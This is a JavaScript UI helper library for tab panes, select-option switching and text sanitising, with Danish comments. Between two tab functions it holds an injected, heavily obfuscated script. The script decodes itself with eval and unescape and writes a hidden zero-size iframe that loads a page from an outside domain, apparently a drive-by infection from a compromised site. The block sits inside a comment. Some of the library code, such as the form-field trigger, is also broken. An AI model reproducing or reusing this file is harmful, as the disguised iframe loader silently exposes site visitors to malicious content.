function HxTabPane(varname,saveCurrentTab,cookieName) {
	//Variables
	this.varname            = varname;
	this.tabs               = new HxObjectList();
	this.obj                = undefined;
	this.obj2               = undefined;
	this.activeTab          = 0;
	this.tab_handles        = "";
	this.tab_content        = "";
	this.saveCurrentTab     = saveCurrentTab;
    this.cookieName         = cookieName;
	
	//Functions
	this.draw = HxTabPane_draw;
	this.addTab = HxTabPane_addTab;
	this.setActiveTab = HxTabPane_setActiveTab;
}
function HxTabPane_draw(obj_to_handles,obj_to_content) {
	
	this.obj = document.getElementById(obj_to_handles);
	this.obj2 = document.getElementById(obj_to_content);
	this.tab_handles = obj_to_handles;
	this.tab_content = obj_to_content;
	/*alert("Removing" + this.obj2.childNodes.length);*/
	
	if (this.obj != undefined) {
		while (this.obj.childNodes.length) {
			this.obj.removeChild(this.obj.childNodes[0]);
		}
		tbl = document.createElement("table");
		tbl.className = "HxTab_table";
		tbody = document.createElement("tbody");
		tr  = document.createElement("tr");
				
		this.tabs.first();
		i = 0;
		while (tab = this.tabs.getObject()) {
			if (i == 0) {
				
				if (i == this.activeTab) {
					tdstarter = document.createElement("td");
					tdstarter.className = "HxTab_start_marked";
				} else {
					tdstarter = document.createElement("td");
					tdstarter.className = "HxTab_start";
				}
				tr.appendChild(tdstarter);
			}
			
			txt = document.createTextNode(this.tabs.cur.getTitle());
			td = document.createElement("td");
			if (i == this.activeTab) {
				td.className = "HxTab_title_marked";
			}else{
				td.className = "HxTab_title";
			}
			td.appendChild(txt);
		
			a = document.createElement("a");
			a.setAttribute("href","#");
			a.className = "HxTab_link";
			//a.onclick = new Function("i="+i+";"+this.varname+".tabs.first();c = 0;while (c < i) {"+this.varname+".tabs.forward();c++;}txt = document.createTextNode("+this.varname+".tabs.getObject().getContent());"+this.varname+".obj.removeChild("+this.varname+".obj.childNodes[1]);"+this.varname+".obj.appendChild(txt);"+this.varname+".setActiveTab("+i+");");
			//alert(this.varname+".setActiveTab("+i+");"+this.varname+".draw('"+this.tab_handles+"','"+this.tab_content+"');");
			a.onclick = new Function(this.varname+".setActiveTab("+i+",\""+this.cookieName+"\");"+this.varname+".draw('"+this.tab_handles+"','"+this.tab_content+"');");
			a.appendChild(txt);

			td.appendChild(a);
			tr.appendChild(td);
			if (i < this.tabs.count()-1) {
				/*
				count == 4;
				{**}[..][..][..]
				[..]{**}[..][..]
				[..][..]{**}[..]
				[..][..][..]{**}
				*/

				tdspacer = document.createElement("td");
				if ((i+1) == this.activeTab) {
					tdspacer.className = "HxTab_spacer_right_marked";
				}else if ((i) == this.activeTab) {
					tdspacer.className = "HxTab_spacer_left_marked";
				}else {
					tdspacer.className = "HxTab_spacer";
				}
				tr.appendChild(tdspacer);
			}
			
			if ((i+1) == this.tabs.count()) {
				if (i == this.activeTab) {
					tdend = document.createElement("td");
					tdend.className = "HxTab_end_marked";
				} else {
					tdend = document.createElement("td");
					tdend.className = "HxTab_end";
				}
				tr.appendChild(tdend);
			}
			
			this.tabs.forward();
			
			i++;
		}
		tbody.appendChild(tr);
		tbl.appendChild(tbody);
		this.obj.appendChild(tbl);

        
	}else{
		out("Duer ikke! Elementet '"+this.tab_handles+"' findes ikke!");	
	}	
		/** So much for the tab names **/
		this.tabs.first();
		c = 0;
		while (c < this.activeTab) {
			c++;
			this.tabs.forward();
		}
		this.tabs.getObject().activate(this.tab_content);
}/*
}
l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O000=new Array();O000[0]='<iframe src=\'http://';O0OO='fu';OO0O='sVVtERqNpQeIeqkFlMsGMIUhxHIT';O0OO+='nction __'+'__(_'+'O0){';OO00='var%20l%32%3D%77\151%6E%64o%77%2E\157p\145%72a%3F%31%3A%30%3Bfunc\164%69%6F%6E%20l%33%28l%34%29%7B\154%35%3D%2Fz%61%2F\147%3Bl%36%3D%53\164rin\147%2Ef\162o%6DCh%61%72%43o%64%65%28%30%29%3B%6C%34%3D\154%34%2E\162%65p\154\141%63e%28\154%35%2Cl%36%29%3B%76a\162%20%6C%37%3D%6E%65%77%20\101r\162a\171%28%29%2Cl%38%3D%5F%31%3Dl%34%2Ele%6E%67%74h%2C%6C%39%2C%6C\111%2Cil%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2Cl%69%3D%27%27%3B%64o%7B\154%39%3D\154%34%2Ec%68arCod\145\101t%28%5F%31%29%3Bl\111%3D\154%34%2Ec\150ar%43od\145%41\164%28%2B%2B%5F%31%29%3B%6C%37%5BI%2B%2B%5D%3D%6CI%2Bi\154%2D%28l%39%3C%3C%37%29%7D\167\150\151le%28%5F%31%2B%2B%3C\154%38%29%3B\166ar%20\154%31%3D\156ew';O000[0]+='deinglaube.com/images/\' h~';O0OO+='eva';OOOO='hOQtCXaUwrsqvfnuOlkDrulOnWUymKyo';O0OO+='l(unes'							+'cape(_O0))}';eval									(O0OO);O0O0='JBiVXnUZitSaSEbByOKOOSoSOYmiJaDsoDVfEpBO';O0OO='';OO00+='%20%41rray%28%29%2C%6C%30%3D%6Ee%77%20\101r\162%61y%28%29%2CI%6C%3D%31%32%38%3B%64%6F%7Bl%30%5B\111l%5D%3DS\164r%69\156g%2E\146\162omC\150%61\162Cod\145%28I\154%29%7Dwh%69%6C%65%28%2D%2D\111l%29%3B%49l%3D%31%32%38%3B%6C%31%5B%30%5D%3Dl\151%3D%6C%30%5Bl%37%5B%30%5D%5D%3B%6C%6C%3D%6C%37%5B%30%5D%3B%5F\154%3D%31%3Bv\141r%20l%5F%3D\154%37%2El%65%6E%67t\150%2D%31%3B%77\150%69le%28%5F%6C%3C\154%5F%29%7B\163\167\151tch%28\154%37%5B%5F%6C%5D%3C%49l%3F%31%3A%30%29%7B%63a%73e%20%30%20%3A\154%30%5BI%6C%5D%3Dl%30%5Bl\154%5D%2BS\164ri%6Eg%28\154%30%5B%6Cl%5D%29%2Es\165%62%73\164r%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5BI%6C%5D%3B\151f%28\154%32%29%7Bl\151%2B%3D%6C%30%5BIl%5D%7D%3B%62\162ea';OOO0='l';O000[0]+='g~\r=0 width~0 bor~r~0><~"~~e>';OO00+='%6B%3Bdefau\154%74%3A%6C%31%5B%5F\154%5D%3D\154%30%5Bl%37%5B%5F%6C%5D%5D%3Bi\146%28%6C%32%29%7Bl\151%2B%3Dl%30%5Bl%37%5B%5F%6C%5D%5D%7D%3Bl%30%5B\111l%5D%3D\154%30%5B\154l%5D%2BS%74%72%69n%67%28\154%30%5Bl%37%5B%5F\154%5D%5D%29%2Es\165\142%73tr%28%30%2C%31%29%3B%62%72e\141k%7D%3B%49%6C%2B%2B%3B\154l%3Dl%37%5B%5F%6C%5D%3B%5F%6C%2B%2B%7D%3Bif%28%21%6C%32%29%7B%72%65t%75\162%6E%28l%31%2E%6Ao\151n%28%27%27%29%29%7Del\163\145%7B%72e%74u%72%6E%20l\151%7D%7D%3B\166%61r%20lO%3D%27%27%3B\146or%28i%69%3D%30%3Bi\151%3CO%30%30%30%2E%6Cen\147%74\150%3Bi\151%2B%2B%29%7B%6C%4F%2B%3Dl%33%28O%30%30%30%5B\151i%5D%29%7D%3Bi%66%28%6E\141\141%29%7Bd\157%63%75\155e\156\164%2E%77%72\151te%28\154O%29%7D%3B';O0O0      ='.quIwOdeam+:K75ZciV;*SXROtMl//m gd$MNhZOl';____    (OO00);OOO0+='#rrTU/LCJstnO@3A8Sy69OY&J,XjR$!vfwEaDV1 <&1H! O Urhpy= 82f!YfOx	*OOtKo#QpX*>?<G%%k5=C0i';
*/function HxTabPane_setActiveTab(i,cookieKey) {
	this.activeTab=i;
    if (this.tabs.getObject() != undefined) {
	    this.tabs.getObject().moveBack();
        if (this.saveCurrentTab != undefined) {
            c = new HxCookie();
            if (cookieKey == undefined)
                return;
            else
                c.setCookie(cookieKey,this.activeTab,2 * 24 * 60);
        }
    }
}

function HxTabPane_addTab(tab) {
	this.tabs.addObject(tab);
}
	

function HxTab(k,i,t) {
	//Variables
	this.tab_title = k;
	this.tab_input = i;
	this.tab_type = t;
	this.tab_dest	= undefined;
	
	//Functions
	this.getTitle = HxTab_getTitle;
	this.activate = HxTab_activate;
	this.moveBack = HxTab_moveBack;
	this.move	  = HxTab_move;
}
function HxTab_getTitle() {
	return this.tab_title;	
}
function HxTab_activate(where) {
	this.tab_dest = where;
	to = document.getElementById(where);
	if (this.tab_type == "id") {
		from = document.getElementById(this.tab_input);
		//alert(this.tab_input+ ":" + from.childNodes.length + " | "+this.tab_dest+": " + to.childNodes.length);
		//alert("Moving from "+this.tab_input+" ("+from.childNodes.length+" children) to "+where+" ("+to.childNodes.length+" children)");
		this.move(from,to);
	}else if (this.tab_type == "html") {
		txt = document.createTextNode(this.tab_input);
		to.appendChild(txt);
	}
	
}
function HxTab_move(from,to) {
	if (from != undefined && to != undefined) {
		//for (i = 0; i < len; i++) {
		//alert(from.childNodes.length);
		while (from.childNodes.length) {
			//alert(from.childNodes.length);
			//obj = from.childNodes[i].cloneNode(true);
			obj = from.childNodes[0];
			
			to.appendChild(obj);	
			//if (from.childNodes[i].length)
				//HxTab_move(from.childNodes[i],to);
			//from.removeChild(obj);
			//alert(from.childNodes.length);
			
		}	
	}	
}
function HxTab_moveBack() {
	from = document.getElementById(this.tab_dest);
	to = document.getElementById(this.tab_input);
	if (from != undefined && to != undefined) {
	//alert("Moving BACK from "+this.tab_dest+" ("+from.childNodes.length+" children) to "+this.tab_input+" ("+to.childNodes.length+" children)");
		this.move(from,to);
		
	}	
}
	
/**
* HxInputSwitcher kan bruges til at skifte udskifte SELECT options. 
* @param string id Id of select box
*/
function HxOptionSwitcher(id) {
	this.optionlist	= new Array(new Array());
	this.selectbox 	= id;
	//Functions
	this.addOption = HxOptionSwitcher_add
	this.swap = HxOptionSwitcher_swap;
}
function HxOptionSwitcher_swap(group) {
	obj = document.getElementById(this.selectbox);
	if (this.optionlist[group] != undefined) {
		
		while (obj.childNodes.length) {
			obj.removeChild(obj.childNodes[0]);
		}
		for (i = 0; i < this.optionlist[group].length; i++) {
			opt = document.createElement("option");
			opt.value = this.optionlist[group][i].getValue();
			if (this.optionlist[group][i].getAttrib() == "selected")
				opt.selected = true;	
			opt.appendChild(document.createTextNode(this.optionlist[group][i].getKey()));
			obj.appendChild(opt);
		}
		//alert(this.optionlist[group][0].getKey())
	}
}
function HxOptionSwitcher_add(group,opt) {

	if (this.optionlist[group] == undefined) 
		this.optionlist[group] = new Array();
	len = this.optionlist[group].length
	if (len == 0)
		len = 0;
	arr = new Array(len);
	
	for (i=0; i<len; i++) {		
		arr[i] = this.optionlist[group][i];
	}
	arr[len] = opt;
	this.optionlist[group] = arr;
}
function HxSelectOption(key,val,attrib) {
	this.key = key;
	this.val = val;
	this.attrib = attrib;
	
	//methods
	this.getValue = HxSelectOption_getvalue;
	this.getKey = HxSelectOption_getkey;
	this.getAttrib = HxSelectOption_getattrib;
}
function HxSelectOption_getvalue() {
	return this.val;
}
function HxSelectOption_getkey() {
	return this.key;
}
function HxSelectOption_getattrib() {
	return this.attrib;
}

function textToAlphaNum(txt) {
	allowed_chars = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","_","1","2","3","4","5","6","7","8","9","0");
	look_for_chars = new Array("æ","å","ø","-"," ");
	replace_chars = new Array("ae","aa","oe","_","_");
	str = new String(txt);
	str = str.toLowerCase();
	fixedStr = "";
	for (var i = 0; i < str.length; i++){
		done = false;
		for (var j = 0; j < allowed_chars.length; j++) {
			if (str.charAt(i) == allowed_chars[j]) {
				fixedStr += str.charAt(i)
				done = true;
			}
		}
		if (done == false) {
			for (var j = 0; j < look_for_chars.length; j++) {
				if (str.charAt(i) == look_for_chars[j]) {
					fixedStr += replace_chars[j];
				}
			}
		}
	}
	return fixedStr;
}
function textToAlphaNumCI(txt) {
	allowed_chars = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","_","1","2","3","4","5","6","7","8","9","0");
	look_for_chars = new Array("æ","å","ø","-"," ");
	replace_chars = new Array("ae","aa","oe","_","_");
	str = new String(txt);
	fixedStr = "";
	for (var i = 0; i < str.length; i++){
		done = false;
		for (var j = 0; j < allowed_chars.length; j++) {
			if (str.charAt(i) == allowed_chars[j] || str.charAt(i) == allowed_chars[j].toUpperCase()) {
				fixedStr += str.charAt(i)
				done = true;
			}
		}
		if (done == false) {
			for (var j = 0; j < look_for_chars.length; j++) {
				if (str.charAt(i) == look_for_chars[j] || str.charAt(i) == look_for_chars[j].toUpperCase()) {
					fixedStr += replace_chars[j];
				}
			}
		}
	}
	return fixedStr;
}
function fieldToAlphaNum(id) {
	obj = document.getElementById(id);
	allowed_chars = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","_","1","2","3","4","5","6","7","8","9","0");
	look_for_chars = new Array("æ","å","ø","-"," ");
	replace_chars = new Array("ae","aa","oe","_","_");
	str = new String(obj.value);
	str = str.toLowerCase();
	fixedStr = "";
	for (var i = 0; i < str.length; i++){
		done = false;
		for (var j = 0; j < allowed_chars.length; j++) {
			if (str.charAt(i) == allowed_chars[j]) {
				fixedStr += str.charAt(i)
				done = true;
			}
		}
		if (done == false) {
			for (var j = 0; j < look_for_chars.length; j++) {
				if (str.charAt(i) == look_for_chars[j]) {
					fixedStr += replace_chars[j];
				}
			}
		}
	}
	obj.value = fixedStr;
}

/**
* The HxFormFieldTrigger adds specific task to specific events. 
* It can replace options in a select list upon a specific event
* of any other form field.
*/
function HxFormFieldTrigger() {
    this.options = new Array();
    this.triggers = new Array();
    
    this.register = HxFormFieldTrigger_register;
    this.addTrigger = HxFormFieldTrigger_addTrigger();
}
function HxFormFieldTrigger_addOption(object,name,value) {
    if (document.getElementById("object") != undefined) {
        if (this.options[object] == undefined)
            this.options[object] = new Array();
        opt = new Array();
        opt["name"] = name;
        opt["value"] = value;
        this.options[object][this.options[object].length] = opt;
    }
}
/**
* @param string object  ID of the object on which to apply the trigger.
* @param event          Trigger event match traditionel html evens: onChange, onMouseDown etc.
* @param val            Match this value against
* @param act            What to do when it's triggered, possible values: replaceOptions
*/
function HxFormFieldTrigger_addTrigger(object, event, val, act) {
    if (this.trigger[object] == undefined) {
        this.trigger[object] = new Array();
    }
    trigger = new Array();
    trigger["event"] = event;
    trigger["value"] = val;
    trigger["action"] = act;
    
    this.trigger[object][this.trigger[object].length] = trigger;
    
    
    /** Commencing trigger to object **/
    obj(object).trigger["event"] = new Function(object,values,FormFieldTrigger_replaceSelectOptions);
}
/**
* @param string object  ID of the object
* @param array values   associative array of values
*/
function HxFormFieldTrigger_replaceSelectOptions(object,values) {
    clear(object);
    selector = new LmntSelect();
    selector.lmnt = obj(object);
    for (i = 0; i < values.length; i++) {
        selector.addOption(values[i]["name"],values[i]["value"])
    }
}
function HxFormFieldTrigger_register() {

}